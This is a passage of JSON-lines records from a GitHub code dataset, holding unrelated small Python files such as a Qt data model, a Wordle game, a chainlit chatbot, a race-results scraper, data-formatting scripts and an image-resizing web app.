return self._headers[section]\n\n def setData(self, index, value, role=QtCore.Qt.EditRole):\n if index.isValid():\n if role == QtCore.Qt.EditRole:\n self._field_conversions[index.row()] = value\n self.dataChanged.emit(index, index)\n return True\n\n return False\n\n def flags(self, index):\n if index.isValid():\n if index.column() == 2:\n return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsEditable\n\n return QtCore.Qt.ItemIsEnabled\n\n return QtCore.Qt.NoItemFlags\n\n\nclass ConvertCoordinateFieldsModel(object):\n\n def __init__(self, settings):\n self._input_file = settings[\"input_file\"]\n self._location = settings[\"location\"]\n self._identifier = settings[\"identifier\"]\n self._group_field = None\n\n settings_dir = os.path.join(self._location, self._identifier + \"-settings\")\n if not os.path.isdir(settings_dir):\n os.mkdir(settings_dir)\n\n filename_parts = os.path.splitext(os.path.basename(self._input_file))\n self._output_file = os.path.join(settings_dir, filename_parts[0] + \"_converted.exf\")\n\n self._converter = Converter()\n self._converter.load(self._input_file)\n\n field_info = self._converter.fetch_field_information()\n\n text = json.dumps(field_info)\n hex_value = hashlib.sha1(text.encode(\"utf-8\")).hexdigest()\n\n self._settings_file = os.path.join(settings_dir, f'settings-{hex_value}.json')\n self._group_field, field_conversions = self._load_settings()\n\n self._coordinate_field_model = CoordinateFieldsModel(field_info, field_conversions)\n\n def _load_settings(self):\n model_settings = None\n if os.path.isfile(self._settings_file):\n with open(self._settings_file) as f:\n model_settings = json.load(f)\n\n field_conversions = None\n group_field = None\n if model_settings is not None:\n group_field = model_settings[\"group_field\"]\n field_conversions = model_settings[\"field_conversions\"]\n\n return group_field, field_conversions\n\n def _save_settings(self):\n model_settings = {\n \"group_field\": self._group_field,\n \"field_conversions\": self._coordinate_field_model.field_conversions()\n }\n with open(self._settings_file, \"w\") as f:\n json.dump(model_settings, f)\n\n def get_coordinate_field_model(self):\n return self._coordinate_field_model\n\n def get_converted_data_file(self):\n return self._output_file\n\n def get_group_field(self):\n return self._group_field\n\n def set_group_field(self, group_field):\n self._group_field = group_field\n\n def get_group_fields(self):\n return self._converter.fetch_group_field_information()\n\n def done(self):\n self._save_settings()\n data = self._coordinate_field_model.conversions()\n self._converter.convert_fields(data, self._group_field)\n self._converter.get_output_region().writeFile(self._output_file)\n","repo_name":"mapclient-plugins/mapclientplugins.convertcoordinatefieldstep","sub_path":"mapclientplugins/convertcoordinatefieldstep/model/convertcoordinatefieldsmodel.py","file_name":"convertcoordinatefieldsmodel.py","file_ext":"py","file_size_in_byte":5604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"97771564","text":"#2D matrix\ngrid = [\n [1, 2, 3],\n [4, 5, 6],\n [7, 8, 9],\n [0]\n]\n\n#access individual element\nprint(grid[1][1]) #5\n\n#loop\nfor row in grid:\n for col in row:\n print(col)","repo_name":"r15h1/python-tutorial","sub_path":"12-nested-lists.py","file_name":"12-nested-lists.py","file_ext":"py","file_size_in_byte":186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72374893549","text":"# node:\n# - metadata: [int]\n# - children: [nodes]\n\ndata = open('input_08.txt').read()\nfrom collections import namedtuple\nTreeNode = namedtuple('TreeNode', 'children, metadata')\n\ndef fetch_node(numbers):\n n_children = numbers.pop()\n n_metadata = numbers.pop()\n child_nodes = [fetch_node(numbers) for _ in range(n_children)]\n metadata = [numbers.pop() for _ in range(n_metadata)]\n return TreeNode(metadata=metadata, children=child_nodes)\n\ndef build_tree(raw_data):\n parsed_data = list(map(int, data.split()))\n parsed_data.reverse()\n try:\n return fetch_node(parsed_data)\n except:\n return None\n\n\ndef sum_metadata(node):\n return sum(node.metadata) + sum(sum_metadata(child) for child in node.children)\n\ntree = build_tree(data)\n\nchecksum = sum_metadata(tree)\nprint(f'The sum of all metadata entries is {checksum}')\n\n#############\n\ndef node_value(node):\n if not node.children:\n return sum(node.metadata)\n child_to_sum = [node.children[i-1] for i in node.metadata if i <= len(node.children)]\n value = sum(node_value(child) for child in child_to_sum)\n return value\n\nnew_checksum = node_value(tree)\nprint(f'The value of the root node {new_checksum}')\n","repo_name":"rliffredo/advent-of-code","sub_path":"aoc_18/08.py","file_name":"08.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"2879309739","text":"#Import potrzebnych bibliotek.\nimport numpy as np, termcolor as tc, string, os, tabulate\n\n#Funkcja Pobierająca losowe słowo zawierające 5 liter.\ndef getRandomWord(): \n words = np.array(())\n with open(\"frekwencja.txt\", encoding=\"UTF-8\") as file:\n lines = file.readlines()\n for i in lines:\n i = i.split(\";\")[0]\n if len(i) == 5:\n words = np.append(words, i)\n return np.random.choice(words)\n\n#Funkcja zawierająca baze słów.\ndef wordBase():\n with open(\"slowa.txt\", encoding=\"UTF-8\") as file:\n words = file.read()\n wordsChecked = words.split()\n with open(\"frekwencja.txt\", encoding=\"UTF-8\") as f:\n words2 = f.readlines()\n wordsChecked2 = []\n for i in words2:\n i = i.split(\";\")[0].lower()\n wordsChecked2.append(i)\n wordsChecked.extend(wordsChecked2)\n return wordsChecked\n\n#Opcje oraz objaśnienie gry:\n#Dodanie kolorów.\nos.system(\"color\")\n\n#Symbole do użycia oraz ich kopia do późniejszego fortmatowania kolorów klawiatury.\nsymbolsToUse = [i for i in string.ascii_lowercase] + [\"ę\", \"ó\", \"ą\", \"ś\", \"ł\", \"ż\", \"ź\", \"ć\", \"ń\"]\nsymbolsToUseCopy = symbolsToUse.copy()\n\n#Wyrazy do użycia, randomowe słowo jak i zmienna kopiująca wyraz po to aby został on nienaruszony.\n#W późniejszym kodzie zmienna word zostaje lekko modyfikowana.\nwordsToUse = wordBase()\nword = getRandomWord().lower()\nword2 = word\n\n#Pozostałe opcje tabeli, klawiatury, prób oraz zgadnięcia słowa.\ntable = np.full((6,5), \" \").tolist()\ntries = 0\nguess = None\nkeyboard = \"\"\"\n| Ą Ć Ę Ł Ó Ś Ń Ż Ź |\n| Q W E R T Y U I O P | \n| A S D F G H J K L |\n| Z X C V B N M |\"\"\"\nprint (f\"\\n=== Zasady gry ===\\n\\nTwoim zadaniem jest zgadnąć losowo wygenerowane słowo.\\n{tc.colored('X', 'red', attrs=['bold'])} - oznacza, że litery w ogóle nie ma w wyrazie.\\n{tc.colored('X', 'yellow', attrs=['bold'])} - oznacza, że litera znajduje się w wyrazie, ale na innym miejscu.\\n{tc.colored('X', 'green', attrs=['bold'])} - oznacza, że litera stoi na właściwym miejscu.\\n\\nDodatkowo będziesz widział jakich liter już użyłeś.\\n\\nW sumie tyle, powodzenia :)\\n\")\nwhile True:\n #Printowanie tabeli oraz sprawdzanie poprawności słowa.\n print(tabulate.tabulate(table, tablefmt=\"rounded_grid\"), keyboard)\n if guess != word2:\n if tries < 6:\n guess = input(\"\\nPodaj słowo: \").lower()\n #Sprawdzam czy wszystkie symbole podane przez gracza należą do listy symboli które można użyć.\n if all(i in symbolsToUse for i in guess):\n #Następnie sprawdzam długość słowa.\n if len(guess) == 5:\n #Oraz czy słowo znajduje się w bazie słów.\n if guess in wordsToUse:\n wordCopy = [\"-\"] * len(word)\n word = word2\n #Pierwsza pętla sprawdzająca dokładną pozycję litery w słowie (Najwyższy priorytet)\n for i in range(len(word)):\n if guess[i] == word[i]:\n wordCopy[i] = \"X\"\n word = word.replace(guess[i], \"-\", 1)\n #Druga pętla sprawdzająca ogólną pozycję litery w słowie (Niższy priorytet)\n for i in range(len(word)):\n if guess[i] in word and wordCopy[i] == \"-\":\n wordCopy[i] = \"O\"\n word = word.replace(guess[i], \"-\", 1)\n #Trzecia pętla kolorująca odpowiednio litery w tabeli.\n for i in range(len(guess)):\n if wordCopy[i] == \"-\":\n table[tries][i] = tc.colored(guess[i].upper(), \"red\", attrs=[\"bold\"])\n elif wordCopy[i] == \"O\":\n table[tries][i] = tc.colored(guess[i].upper(), \"yellow\", attrs=[\"bold\"])\n elif wordCopy[i] == \"X\":\n table[tries][i] = tc.colored(guess[i].upper(), \"green\", attrs=[\"bold\"])\n #Czwarta pętla kolorująca odpowiednio litery w klawiaturze.\n for i in range(len(guess)):\n if guess[i] == word2[i]:\n if guess[i] in symbolsToUseCopy:\n keyboard = keyboard.replace(guess[i].upper(), tc.colored(guess[i].upper(), \"white\", \"on_green\"))\n symbolsToUseCopy.remove(guess[i])\n elif guess[i] in word2:\n if guess[i] in symbolsToUseCopy:\n keyboard = keyboard.replace(guess[i].upper(), tc.colored(guess[i].upper(), \"white\", \"on_yellow\"))\n else:\n keyboard = keyboard.replace(guess[i].upper(), tc.colored(guess[i].upper(), \"white\", \"on_red\"))\n tries += 1\n else:\n print(\"Nie ma takiego słowa w bazie słów!\")\n else:\n print(\"Nie jest to 5 literowe słowo!\")\n else:\n print(\"Możesz używać tylko polskich znaków!\")\n else:\n print(f\"\\n\\nNiestety przegrałeś! Szukanym słowem było: {word2}\\n\\n\")\n quit()\n else:\n print(\"\\n\\nGRATULACJE MORDO WYGRAŁEŚ!\\n\\n\")\n quit()","repo_name":"Fokusia/Python","sub_path":"gierki/wordle.py","file_name":"wordle.py","file_ext":"py","file_size_in_byte":5541,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22304891720","text":"from feature_extractor import *\n\n# Concrete Decorator\nclass WeekDayFeature(FeatureDecorator):\n \"\"\"\n Add responsibilities to the component.\n \"\"\"\n def getFeatures(self):\n inner_df = self._component.getFeatures()\n print('\\t Extracting WeekDay Features...')\n\n cur_df = pd.DataFrame(index=self._dataset.index)\n cur_df['week_day'] = self._dataset.apply(self._getWeekDayFeature, axis = 1)\n \n cur_df['week_day_sin'] = np.sin(cur_df.week_day * 2 * np.pi/ 7)\n cur_df['week_day_cos'] = np.cos(cur_df.week_day * 2 * np.pi/ 7)\n\n self._dataset['week_day'] = cur_df.week_day\n return pd.concat([inner_df, cur_df], axis = 1)\n\n def _getWeekDayFeature(self, s):\n \treturn pd.Timestamp(np.mean((s.pu_t.value, s.do_t.value))).weekday()","repo_name":"arthurarj/ttdp_project","sub_path":"utils/feature-extractor/week_day_feature.py","file_name":"week_day_feature.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5644110565","text":"import os\nimport openai\nimport chainlit as cl\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\nopenai.organization = os.getenv(\"OPENAI_ORGANIZATION\")\n\nmodel_name = \"gpt-3.5-turbo\"\nsettings = {\n \"temperature\": 0.7,\n \"max_tokens\": 500,\n \"top_p\": 1,\n \"frequency_penalty\": 0,\n \"presence_penalty\": 0,\n}\n\n\n@cl.on_chat_start\ndef start_chat():\n cl.user_session.set(\n \"message_history\",\n [\n {\n \"role\": \"system\",\n \"content\": \"You are Holo, an AI assistant chatbot. You have been integrated with multiple datasources which provide you data from Amazon services like Amazon Prime, Amazon Music and Amazon shopping. You have built an initial profile for the user, which includes that the user name is Eshaan. He is a huge fan of Indie music, and bands like The Local Train and Dreamnote. He loves both hollywood and bollywood movies, and the last movie he watched was the Wolf of the Wall Street, which he loved. He is not big on online spending, but likes to buy products during sale, especially electtronics and headphones. In the conversation, try to pitch them to use the above mentioned services as much as possible. Give clear reasoning for why you recommended the same. Assume that the user already has a subscription to the said services, and you only need to recommend products, movies and songs to him/her. Try giving short and conscise answers as much as possible.\",\n }\n ],\n )\n\n\n@cl.on_message\nasync def main(message: cl.Message):\n message_history = cl.user_session.get(\"message_history\")\n message_history.append({\"role\": \"user\", \"content\": message.content})\n\n msg = cl.Message(content=\"\")\n\n # Stream the response from OpenAI to the client\n async for stream_resp in await openai.ChatCompletion.acreate(\n model=model_name, messages=message_history, stream=True, **settings\n ):\n token = stream_resp.choices[0][\"delta\"].get(\"content\", \"\")\n await msg.stream_token(token)\n\n message_history.append({\"role\": \"assistant\", \"content\": msg.content})\n\n await msg.send()\n","repo_name":"EshaanAgg/hackon","sub_path":"web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"12103814697","text":"#hackerrank\nimport math\ndef encryption(s):\n l = list(s)\n c = math.ceil(math.sqrt(len(l)))\n f = math.floor(math.sqrt(len(l)))\n for i in range(0,c):\n m = []\n for j in range(i,len(l)+1,c):\n try:\n m.append(l[j])\n except:\n continue\n n = ''.join(map(str,m))\n print(n,end=\" \")\n\n\ns = input()\nencryption(s)\n","repo_name":"as-iF-30/My-Python","sub_path":"encryption.py","file_name":"encryption.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"38193196557","text":"import pandas\nfrom bs4 import BeautifulSoup\nimport re\nimport requests\nfrom selenium import webdriver\nimport pprint as pp\n\n\n\n\npage_number=1\n# URL for race results\nURL = 'https://calendar.ultrarunning.com/race-results'\n# Get request for the webpage\nWEBPAGE = requests.get(URL)\n# Parsing with beautiful soup\nsoup = BeautifulSoup(WEBPAGE.content, 'lxml')\n# Array of table rows with the race class\nrace_trs = soup.find_all('tr', {'class':'race'})\n\nurl_list = []\ni = 0\nwhile i <=19:\n ele = soup.select('tr')[i]\n on_click = ele.get('onclick')\n new_str = on_click.replace(\"window.location.href='\",\"\")\n url = new_str.replace(\"'\",\"\")\n url_list.append(url)\n i +=1\n\n\n\npage_number = 1\nwhile page_number <= 1000:\n URL = f'https://calendar.ultrarunning.com/race-results?page={page_number}'\n WEBPAGE = requests.get(URL)\n # Parsing with beautiful soup\n soup = BeautifulSoup(WEBPAGE.content, 'lxml')\n i = 0\n while i <= 19:\n ele = soup.select('tr')[i]\n on_click = ele.get('onclick')\n new_str = on_click.replace(\"window.location.href='\", \"\")\n url = new_str.replace(\"'\", \"\")\n url_list.append(url)\n i += 1\n\n page_number+=1\n\ndataframe = pandas.DataFrame(url_list)\n\nprint(dataframe)\ndataframe.to_csv('race_results_urls.csv')\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"DrewWhite51/UltraRunningDataScraper","sub_path":"gather_runner_data.py","file_name":"gather_runner_data.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36051553144","text":"\"\"\"empty message\n\nRevision ID: 4aae72adbfd9\nRevises: \nCreate Date: 2023-01-24 16:54:31.061179\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '4aae72adbfd9'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('currancy',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('code', sa.String(length=3), nullable=True),\n sa.Column('name', sa.String(length=100), nullable=True),\n sa.Column('country', sa.String(length=50), nullable=True),\n sa.Column('number', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('code')\n )\n op.create_table('currancy_rates',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('id_curr', sa.Integer(), nullable=False),\n sa.Column('rate', sa.DECIMAL(precision=15, scale=4), nullable=True),\n sa.Column('date', sa.Date(), nullable=True),\n sa.ForeignKeyConstraint(['id_curr'], ['currancy.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('currancy_rates')\n op.drop_table('currancy')\n # ### end Alembic commands ###\n","repo_name":"SashaSV/ratesProj","sub_path":"migrations/versions/4aae72adbfd9_.py","file_name":"4aae72adbfd9_.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32813422511","text":"from collections import Counter\n\ndef solution(lottos, win_nums):\n worst = len(list(set(lottos) & set(win_nums)))\n count = Counter(lottos)\n best = count[0] + worst\n \n # best = 0, worst = 0 인 경우 주의\n return [min(6,(6-best+1)), min(6, (6-worst+1))]\n\n# 참고\ndef solution(lottos, win_nums):\n\n rank=[6,6,5,4,3,2,1]\n\n cnt_0 = lottos.count(0)\n ans = 0\n for x in win_nums:\n if x in lottos:\n ans += 1\n return rank[cnt_0 + ans],rank[ans]\n","repo_name":"41ow1ives/1day2solve","sub_path":"juhyein/로또의 최고 순위와 최저 순위.py","file_name":"로또의 최고 순위와 최저 순위.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"19544341088","text":"'''\r\nCreated on Jun 4, 2018\r\n\r\n@author: karsu\r\n'''\r\n#import os, sys\r\n#import pyodbc\r\nimport csv\r\nimport db_utils as dbu\r\nimport os\r\n\r\ndef getSingleFileData(filename, output):\r\n \r\n rawFile = filename\r\n removePath = rawFile.split(\"\\\\\") [-1]\r\n ticker = removePath.split('.')[0] # format - Date, Time, open, high, low, close, volume\r\n # print(data.read())\r\n \r\n temp_line = []\r\n total_result = []\r\n single_result = []\r\n lineNo = 1\r\n hoursadj = 0\r\n\r\n data = open(rawFile, 'r')\r\n for line in data:\r\n if (lineNo == 1):\r\n lineNo = lineNo + 1\r\n continue\r\n temp_line = line.split(',')\r\n\r\n if (lineNo == 2):\r\n olddate = temp_line[0]\r\n lineNo = 0\r\n\r\n timelist = temp_line[1].split(\":\")\r\n hours = int(timelist[0])\r\n \r\n\r\n if (olddate != temp_line[0]):\r\n hoursadj = hours - 14\r\n olddate = temp_line[0]\r\n \r\n minutes = int(timelist[1])\r\n seconds = int(timelist[2])\r\n hours = hours - 5 - hoursadj\r\n if (hours >= 12):\r\n amorpm = \"PM\"\r\n else:\r\n amorpm = \"AM\"\r\n \r\n if (hours > 12):\r\n hours = hours-12\r\n \r\n trtime = str(hours) + \":\" + str(format(minutes, '02d')) + \":\"+ str(format(seconds, '02d'))+ \" \" + amorpm \r\n single_result = []\r\n single_result.insert(0, ticker)\r\n single_result.insert(1, temp_line[0])\r\n \r\n single_result.insert(2, trtime)\r\n\r\n single_result.insert(3, temp_line[2])\r\n single_result.insert(4, temp_line[4])\r\n single_result.insert(5, temp_line[3])\r\n single_result.insert(6, temp_line[5])\r\n single_result.insert(7, temp_line[6])\r\n total_result.append(single_result)\r\n \r\n if (output == 'csv'):\r\n myFile = open('5MtsFile.csv', 'a', newline='')\r\n with myFile:\r\n writer = csv.writer(myFile)\r\n writer.writerows(total_result)\r\n elif (output == 'db'):\r\n# db_file = r'''C:\\TickData2018\\StooqData.accdb''' #raw string, escape sequences are ignored\r\n db_file = 'StooqData.accdb' #raw string, escape sequences are ignored\r\n# if (os.path.isfile(db_file)) :\r\n# print('file present')\r\n db_file = os.path.abspath(db_file)\r\n conn = dbu.createDBConnection(db_file)\r\n c = conn.cursor()\r\n for row in total_result:\r\n sql = \"\"\"INSERT INTO tbl5MtsRawFile VALUES ('%s', '%s', '%s','%s', '%s', '%s', '%s', '%s')\"\"\" \\\r\n % (row[0], row[1], row[2],row[3], row[4], row[5], row[6], row[7]) \r\n c.execute(sql)\r\n conn.commit()\r\n else:\r\n print('output argument has to be either csv or db')\r\n\r\n if (output == 'db'):\r\n c.close()\r\n del c\r\n conn.close()\r\n \r\n# print(\"Program Completed\")","repo_name":"karsun055/Gap-Analysis-Notebook","sub_path":"proc1file.py","file_name":"proc1file.py","file_ext":"py","file_size_in_byte":2917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23040227428","text":"##=======================================================##\n## Project: Atomic Probe Tomography [TIF295]\n## File: format_data_for_PlotData.py\n## Author: GOTTFRID OLSSON \n## Created: 2022-09-22, 18:52\n## Updated: 2022-09-22, 18:52\n## About: Analysis of data from APT lab.\n## 1. Read CSV files with Cr-RDF\n## 2. Format data to plot with PlotData.py\n## 3. Export formatted CSV\n##=======================================================##\n\n\nimport pandas as pd\nimport os\n\n\n\n\n#-------------------#\n# HELP FUNCTIONS #\n#-------------------#\n\nCSV_DELIMITER = ','\n\n\ndef read_CSV(read_file_path):\n return pd.read_csv(read_file_path, sep=CSV_DELIMITER)\n\ndef get_header_CSV(CSV_data):\n return CSV_data.columns.values\n\n\n\n#------------#\n# MAIN #\n#------------#\n\n\n# READ CSV #\nCURRENT_PATH = os.path.abspath(os.path.dirname(__file__))\nFORMATTED_CSV_PATH = CURRENT_PATH + '\\Formatted data for PlotData\\RDF_removedPole_dist10nm_step0,2nm_bulkNormalizedConc_10h_100h_Cr.csv'\n\nCSV_PATH_10h = '\\Data from lab\\RDF_10h_removedPole_dist10nm_step0,2nm_bulkNormalizedConc.csv'\nCSV_PATH_100h = '\\Data from lab\\RDF_100h_removedPole_dist10nm_step0,2nm_bulkNormalizedConc.csv'\n\nCSV_10h = read_CSV(CURRENT_PATH + CSV_PATH_10h)\nCSV_100h = read_CSV(CURRENT_PATH + CSV_PATH_100h)\n\nheader_10h = get_header_CSV(CSV_10h)\nheader_100h = get_header_CSV(CSV_100h)\n\n\n# PICK OUT DISTANCE AND (BULK NORMALIZED) Cr CONCENTRATION #\ndistance_10h = CSV_10h[header_10h[0]]\ndistance_100h = CSV_100h[header_100h[0]] \n\nCr_conc_10h = CSV_10h[header_10h[2]]\nCr_conc_100h = CSV_100h[header_100h[2]]\n\n\n# ARRANGE AND EXPORT DATA FOR PLOTDATA #\ndata = {'Distance (nm)': distance_10h, 'Cr (10h, bulk normalized concentration ionic percent)': Cr_conc_10h, 'Cr (100h, bulk normalized concentration ionic percent)': Cr_conc_100h}\ndf = pd.DataFrame(data)\ndf.to_csv(FORMATTED_CSV_PATH, sep=CSV_DELIMITER, index=False)\n\nprint(f\"Successfully formatted and exported data to: {FORMATTED_CSV_PATH}\")","repo_name":"GottfridOlsson/TIF295-APT-DataAnalysis","sub_path":"format_data_for_PlotData.py","file_name":"format_data_for_PlotData.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9813640066","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Mar 3 12:09:11 2016\r\n\r\n@author: huiying\r\n\"\"\"\r\n# Write one line that makes a new list that has only the even elements of list a.\r\n\r\n\r\n\r\nprint([i for i in [1, 4, 9, 16, 25, 36, 49, 64, 82, 100] if i % 2 == 0])\r\n\r\n# print the eventh element\r\na = [1, 4, 9, 16, 26, 36, 49, 64, 82, 100]\r\nprint(a[1::2])\r\n\r\n# print even element the for loop way\r\nb = []\r\nfor i in a:\r\n if i % 2 == 0:\r\n b.append(i)\r\nprint(b)\r\n","repo_name":"baosun/Python_exercises","sub_path":"07exercise.py","file_name":"07exercise.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"7589873490","text":"# 递归\n# class Solution:\n# def maxDepth(self, root: TreeNode) -> int:\n# if root is None:\n# return 0\n# else:\n# return (max(self.maxDepth(root.left), self.maxDepth(root.right))) + 1\n\n# 迭代\nclass Solution:\n def maxDepth(self, root: TreeNode) -> int:\n stack = []\n if root is not None:\n stack.append((1, root))\n depth = 0\n while stack != []:\n current_depth, root = stack.pop()\n if root is not None:\n depth = max(depth, current_depth)\n stack.append((current_depth + 1, root.left))\n stack.append((current_depth + 1, root.right))\n return depth","repo_name":"Zzceaon/leetcode","sub_path":"Python/104.maximumDepthofBinaryTree.py","file_name":"104.maximumDepthofBinaryTree.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"16362423542","text":"from typing import Optional\n\nfrom lxml import etree\n\nfrom tei_transform.abstract_node_observer import AbstractNodeObserver\nfrom tei_transform.element_transformation import create_new_element, merge_text_content\n\n\nclass LonelyItemObserver(AbstractNodeObserver):\n \"\"\"\n Observer for elements outside elements.\n \"\"\"\n\n def __init__(self) -> None:\n self._new_list: Optional[etree._Element] = None\n\n def observe(self, node: etree._Element) -> bool:\n if etree.QName(node).localname == \"item\" and etree.QName(\n node.getparent()\n ).localname not in {\"item\", \"list\"}:\n return True\n return False\n\n def transform_node(self, node: etree._Element) -> None:\n parent = node.getparent()\n if (\n len(node) == 0\n and (node.text is None or not node.text.strip())\n and (node.tail is None or not node.tail.strip())\n ):\n parent.remove(node)\n return\n prev_sibling = node.getprevious()\n if prev_sibling is None or prev_sibling != self._new_list:\n new_list = create_new_element(node, \"list\")\n parent.insert(parent.index(node), new_list)\n self._new_list = new_list\n self._new_list.append(node)\n if node.tail is not None and node.tail.strip():\n self._move_tail_of_item(node)\n\n def _move_tail_of_item(self, node: etree._Element) -> None:\n if len(node) != 0:\n last_subchild = node[-1]\n last_subchild.tail = merge_text_content(last_subchild.tail, node.tail)\n else:\n node.text = merge_text_content(node.text, node.tail)\n node.tail = None\n","repo_name":"knit-bee/tei-transform","sub_path":"tei_transform/observer/lonely_item_observer.py","file_name":"lonely_item_observer.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"24453179586","text":"import sys\nimport os\n\ninfile = sys.argv[1]\n\ndef touch(fname, times=None):\n with open(fname, 'a'):\n os.utime(fname, times)\n\nwith open(infile) as f:\n for line in f:\n\n vals = line.rstrip().split('\\t')\n\n handles = vals[0].split(\",\")\n paths = vals[1].split(\",\")\n output_dir = vals[2].strip()\n \n clustering_method = vals[-5]\n clustering_CDR3_similarity_cutoff = vals[-4]\n clustering_VDJ_similarity_cutoff = vals[-3]\n clustering_templated_similarity_cutoff = vals[-2]\n clustering_Q_cutoff = vals[-1]\n\n # Create output dir\n if not os.path.exists(output_dir): os.makedirs(output_dir)\n\n # Write list of input files into dir\n with open(output_dir+\"/clustering_inputs.txt\", 'w') as out:\n for h, p in zip(handles, paths):\n out.write(h.strip()+\"\\t\"+p.strip()+\"\\n\")\n\n # Write parameters into dir\n with open(output_dir+\"/clustering_params.txt\", 'w') as out:\n out.write(clustering_method + \"\\n\")\n out.write(clustering_CDR3_similarity_cutoff + \"\\n\")\n out.write(clustering_VDJ_similarity_cutoff + \"\\n\")\n out.write(clustering_templated_similarity_cutoff + \"\\n\")\n out.write(clustering_Q_cutoff + \"\\n\")\n\n # Touch everything in dir (so that existing files will not be recreated)\n files = [output_dir + \"/\" + f for f in os.listdir(output_dir) if os.path.isfile(os.path.join(output_dir, f))]\n for f in files:\n touch(f)\n","repo_name":"felixhorns/BCellClassSwitching","sub_path":"igh_cluster/split_clustering_seedfile.py","file_name":"split_clustering_seedfile.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"30010464032","text":"#!/usr/bin/env python2\nimport PIL.Image\nimport PIL.ImageOps\nimport cStringIO\nimport os\nimport urlparse\n\nclass ImageResizer(object):\n\tmethod = PIL.Image.ANTIALIAS\n\tdefault_size = (500, 380)\n\tmax_size = (600, 600)\n\tquality = 80\n\troot = 'images/'\n\n\tdef __init__(self, **kwargs):\n\t\tself.__dict__.update(kwargs)\n\n\tdef resize_image(self, path, size):\n\t\torig = PIL.Image.open(path)\n\t\tthumb = PIL.ImageOps.fit(orig, size, self.method)\n\t\tout = cStringIO.StringIO()\n\t\tthumb.save(out, 'JPEG', quality=self.quality, optimize=True, progressive=True)\n\t\tdest = out.getvalue()\n\t\tout.close()\n\t\treturn dest\n\n\tdef __call__(self, environ, start_response):\n\t\tq = urlparse.parse_qs(environ['QUERY_STRING'])\n\t\tpath = os.path.join(self.root, environ['PATH_INFO'][1:])\n\t\tsize = self.default_size\n\n\t\tif os.path.isfile(path):\n\t\t\tif 'w' in q and 'h' in q:\n\t\t\t\tw = int(q['w'][0])\n\t\t\t\th = int(q['h'][0])\n\t\t\t\tif w <= self.max_size[0] and h <= self.max_size[1]:\n\t\t\t\t\tsize = (w, h)\n\n\t\t\tstatus = '200 Here you go'\n\t\t\tdata = self.resize_image(path, size)\n\t\t\tresponse_headers = [\n\t\t\t\t('Content-Type', 'image/jpeg'),\n\t\t\t\t('Content-Length', str(len(data)))\n\t\t\t]\n\t\telse:\n\t\t\tstatus = '404 Not found'\n\t\t\tdata = 'No such file or directory'\n\t\t\tresponse_headers = [\n\t\t\t\t('Content-Type', 'text/plain'),\n\t\t\t\t('Content-Length', str(len(data)))\n\t\t\t]\n\n\t\tstart_response(status, response_headers)\n\t\treturn iter([data])\n\napp = ImageResizer()","repo_name":"barnslig/fastimage","sub_path":"fastimage.py","file_name":"fastimage.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25684155864","text":"# !/bin/env python\n# !coding:utf-8\n\ntry:\n from socketserver import TCPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler\nexcept:\n from SocketServer import TCPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler\nimport sys\nimport socket\nimport struct\nimport time\n\nHOST = '0.0.0.0'\nPORT = int(sys.argv[1])\nTO_PORT = int(sys.argv[2])\nCREAT_ADDR = (HOST, PORT)\nTO_ADDR = (HOST, TO_PORT)\nSLOW_TIME = 1 # 1s\n\n\nclass MyClient:\n\n def __init__(self):\n self.s = socket.socket()\n\n def client_start(self):\n response = b''\n 